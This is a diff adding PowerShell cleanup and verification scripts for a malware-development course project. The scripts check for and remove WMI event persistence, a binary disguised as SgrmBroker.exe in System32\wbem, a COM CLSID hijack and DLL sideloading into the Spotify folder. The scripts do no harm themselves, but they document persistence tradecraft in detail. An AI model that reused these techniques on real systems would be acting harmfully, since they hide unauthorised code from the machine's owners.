// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
#endif // !DEBUG_MACROS_H
|
||||
@@ -0,0 +1,126 @@
|
||||
# ==================================================================================================
|
||||
# CLEANUP SCRIPT
|
||||
# ==================================================================================================
|
||||
|
||||
$objectPrefix = "MaldevAcademy"
|
||||
|
||||
$wmiExeDir = "C:\Windows\System32\wbem"
|
||||
$wmiExeName = "SgrmBroker.exe"
|
||||
$wmiExePath = "$wmiExeDir\$wmiExeName"
|
||||
|
||||
$comDllDir = "$env:APPDATA\Microsoft\Common"
|
||||
|
||||
$spotifyDir = "$env:APPDATA\Spotify"
|
||||
$sideloadDll = "dsound.dll"
|
||||
$forwardDll = "dspatial.dll"
|
||||
|
||||
$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
|
||||
$configKey = "HKCU:\Software\$objectPrefix\XXXX"
|
||||
|
||||
# ==================================================================================================
|
||||
# ADMIN PRIV ARE REQUIRED TO CLEANUP WMI AND SYSTEM32\WBEM\SgrmBroker.exe
|
||||
# ==================================================================================================
|
||||
|
||||
if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
|
||||
{
|
||||
Write-Host "[!] Script must be run as Administrator" -ForegroundColor Red
|
||||
Exit
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 1 - WMI PERSISTENCE
|
||||
# ==================================================================================================
|
||||
Write-Host "[*] Cleaning Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
|
||||
|
||||
$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
|
||||
if ($wmiFilter) {
|
||||
$wmiFilter | ForEach-Object {
|
||||
$_ | Remove-WMIObject
|
||||
Write-Host "[+] Removed WMI Event Filter: $($_.Name)" -ForegroundColor Green
|
||||
}
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: WMI Event Filter" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
|
||||
if ($wmiConsumer) {
|
||||
$wmiConsumer | ForEach-Object {
|
||||
$_ | Remove-WMIObject
|
||||
Write-Host "[+] Removed WMI Event Consumer: $($_.Name)" -ForegroundColor Green
|
||||
}
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: WMI Event Consumer" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
|
||||
if ($wmiBinding) {
|
||||
$wmiBinding | ForEach-Object {
|
||||
$_ | Remove-WMIObject
|
||||
Write-Host "[+] Removed WMI Filter-Consumer Binding" -ForegroundColor Green
|
||||
}
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: WMI Filter-Consumer Binding" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# Only remove our specific EXE — do NOT delete the wbem directory
|
||||
if (Test-Path $wmiExePath) {
|
||||
Remove-Item -Path $wmiExePath -Force
|
||||
Write-Host "[+] Removed WMI Executable: $wmiExePath" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $wmiExePath" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 2 - COM HIJACK
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Cleaning Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
|
||||
|
||||
if (Test-Path $comClsidKey) {
|
||||
Remove-Item -Path $comClsidKey -Recurse -Force
|
||||
Write-Host "[+] Removed COM Registry Key: $comClsidKey" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $comClsidKey" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
if (Test-Path $comDllDir) {
|
||||
Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
|
||||
Write-Host "[+] Removing: $($_.FullName)" -ForegroundColor Green
|
||||
}
|
||||
Remove-Item -Path $comDllDir -Recurse -Force
|
||||
Write-Host "[+] Removed COM DLL Directory: $comDllDir" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $comDllDir" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 3 - DLL SIDELOAD
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Cleaning Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
|
||||
|
||||
if (Test-Path "$spotifyDir\$sideloadDll") {
|
||||
Remove-Item -Path "$spotifyDir\$sideloadDll" -Force
|
||||
Write-Host "[+] Removed Sideload DLL: $spotifyDir\$sideloadDll" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $spotifyDir\$sideloadDll" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
if (Test-Path "$spotifyDir\$forwardDll") {
|
||||
Remove-Item -Path "$spotifyDir\$forwardDll" -Force
|
||||
Write-Host "[+] Removed Forward DLL: $spotifyDir\$forwardDll" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $spotifyDir\$forwardDll" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# PAYLOAD CONFIGURATION
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Cleaning Payload Configuration..." -ForegroundColor DarkCyan
|
||||
|
||||
if (Test-Path $configKey) {
|
||||
Remove-Item -Path $configKey -Recurse -Force
|
||||
Write-Host "[+] Removed Configuration Registry Key: $configKey" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[i] Already Cleaned Up: $configKey" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
Write-Host "`n[+] Cleanup Complete" -ForegroundColor DarkCyan
|
||||
@@ -0,0 +1,148 @@
|
||||
# ==================================================================================================
|
||||
# VERIFY SCRIPT
|
||||
# ==================================================================================================
|
||||
|
||||
$objectPrefix = "MaldevAcademy"
|
||||
|
||||
$wmiExeDir = "C:\Windows\System32\wbem"
|
||||
$wmiExeName = "SgrmBroker.exe"
|
||||
$wmiExePath = "$wmiExeDir\$wmiExeName"
|
||||
|
||||
$comDllDir = "$env:APPDATA\Microsoft\Common"
|
||||
$comPayloadDll = "MsComHost.dll"
|
||||
$comForwardDll = "Common.StateRepositoryRM.dll"
|
||||
|
||||
$spotifyDir = "$env:APPDATA\Spotify"
|
||||
$sideloadDll = "dsound.dll"
|
||||
$forwardDll = "dspatial.dll"
|
||||
|
||||
$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
|
||||
$configKey = "HKCU:\Software\$objectPrefix\XXXX"
|
||||
|
||||
# ==================================================================================================
|
||||
# LOCATE DUMPBIN.EXE
|
||||
# ==================================================================================================
|
||||
|
||||
$dumpbin = Get-ChildItem -Path "C:\Program Files\Microsoft Visual Studio" -Recurse -Filter "dumpbin.exe" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName
|
||||
|
||||
if ($dumpbin) {
|
||||
Write-Host "[+] Found dumpbin.exe: $dumpbin`n" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[!] dumpbin.exe Not Found - Export Inspection Will Be Skipped" -ForegroundColor Red
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 1 - WMI PERSISTENCE
|
||||
# ==================================================================================================
|
||||
Write-Host "[*] Verifying Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan
|
||||
|
||||
$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" }
|
||||
if ($wmiFilter) {
|
||||
Write-Host "[+] WMI Event Filter Found: $($wmiFilter.Name)" -ForegroundColor Green
|
||||
Write-Host " Query: $($wmiFilter.Query)" -ForegroundColor Gray
|
||||
} else {
|
||||
Write-Host "[-] WMI Event Filter Not Found" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" }
|
||||
if ($wmiConsumer) {
|
||||
Write-Host "[+] WMI Event Consumer Found: $($wmiConsumer.Name)" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[-] WMI Event Consumer Not Found" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" }
|
||||
if ($wmiBinding) {
|
||||
Write-Host "[+] WMI Filter-Consumer Binding Found" -ForegroundColor Green
|
||||
Write-Host " Filter: $($wmiBinding.Filter)" -ForegroundColor Gray
|
||||
Write-Host " Consumer: $($wmiBinding.Consumer)" -ForegroundColor Gray
|
||||
} else {
|
||||
Write-Host "[-] WMI Filter-Consumer Binding Not Found" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
if (Test-Path $wmiExePath) {
|
||||
$wmiExeFile = Get-Item $wmiExePath
|
||||
Write-Host "[+] WMI Executable Found: $wmiExePath [$([math]::Round($wmiExeFile.Length / 1KB, 1)) KB]" -ForegroundColor Green
|
||||
Write-Host " CreationTime: $($wmiExeFile.CreationTime)" -ForegroundColor Gray
|
||||
Write-Host " LastWriteTime: $($wmiExeFile.LastWriteTime)" -ForegroundColor Gray
|
||||
} else {
|
||||
Write-Host "[-] WMI Executable Not Found: $wmiExePath" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 2 - COM HIJACK
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Verifying Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan
|
||||
|
||||
if (Test-Path $comClsidKey) {
|
||||
Write-Host "[+] COM CLSID Key Found: $comClsidKey" -ForegroundColor Green
|
||||
$inprocKey = "$comClsidKey\InProcServer32"
|
||||
if (Test-Path $inprocKey) {
|
||||
$dllPath = (Get-ItemProperty -Path $inprocKey).'(default)'
|
||||
$threadingModel = (Get-ItemProperty -Path $inprocKey).ThreadingModel
|
||||
Write-Host " Default: $dllPath" -ForegroundColor Gray
|
||||
Write-Host " ThreadingModel: $threadingModel" -ForegroundColor Gray
|
||||
}
|
||||
} else {
|
||||
Write-Host "[-] COM CLSID Key Not Found" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
if (Test-Path $comDllDir) {
|
||||
Write-Host "[+] COM DLL Directory Found: $comDllDir" -ForegroundColor Green
|
||||
Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object {
|
||||
Write-Host " $($_.FullName) [$([math]::Round($_.Length / 1KB, 1)) KB]" -ForegroundColor Gray
|
||||
Write-Host " CreationTime: $($_.CreationTime)" -ForegroundColor DarkGray
|
||||
Write-Host " LastWriteTime: $($_.LastWriteTime)" -ForegroundColor DarkGray
|
||||
|
||||
if ($dumpbin -and ($_.Name -eq $comPayloadDll -or $_.Name -eq $comForwardDll)) {
|
||||
Write-Host " Exports:" -ForegroundColor DarkGray
|
||||
& $dumpbin /exports $_.FullName 2>$null |
|
||||
Where-Object { $_ -match "^\s+\d+\s" } |
|
||||
ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Write-Host "[-] COM DLL Directory Not Found: $comDllDir" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# LAYER 3 - DLL SIDELOAD
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Verifying Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan
|
||||
|
||||
foreach ($dll in @($sideloadDll, $forwardDll)) {
|
||||
$fullPath = "$spotifyDir\$dll"
|
||||
if (Test-Path $fullPath) {
|
||||
$file = Get-Item $fullPath
|
||||
Write-Host "[+] Found: $fullPath [$([math]::Round($file.Length / 1KB, 1)) KB]" -ForegroundColor Green
|
||||
Write-Host " CreationTime: $($file.CreationTime)" -ForegroundColor DarkGray
|
||||
Write-Host " LastWriteTime: $($file.LastWriteTime)" -ForegroundColor DarkGray
|
||||
|
||||
if ($dumpbin) {
|
||||
Write-Host " Exports:" -ForegroundColor DarkGray
|
||||
& $dumpbin /exports $fullPath 2>$null |
|
||||
Where-Object { $_ -match "^\s+\d+\s" } |
|
||||
ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
|
||||
}
|
||||
} else {
|
||||
Write-Host "[-] Not Found: $fullPath" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
# ==================================================================================================
|
||||
# PAYLOAD CONFIGURATION
|
||||
# ==================================================================================================
|
||||
Write-Host "`n[*] Verifying Payload Configuration..." -ForegroundColor DarkCyan
|
||||
|
||||
if (Test-Path $configKey) {
|
||||
Write-Host "[+] Configuration Registry Key Found: $configKey" -ForegroundColor Green
|
||||
Get-ItemProperty -Path $configKey | Select-Object -Property * -ExcludeProperty PS* | ForEach-Object {
|
||||
$_.PSObject.Properties | ForEach-Object {
|
||||
Write-Host " $($_.Name): $($_.Value) [0x$($_.Value.ToString('X8'))]" -ForegroundColor Gray
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Write-Host "[-] Configuration Registry Key Not Found: $configKey" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
Write-Host "`n[+] Verification Complete" -ForegroundColor DarkCyan
|
||||
Reference in New Issue
Block a user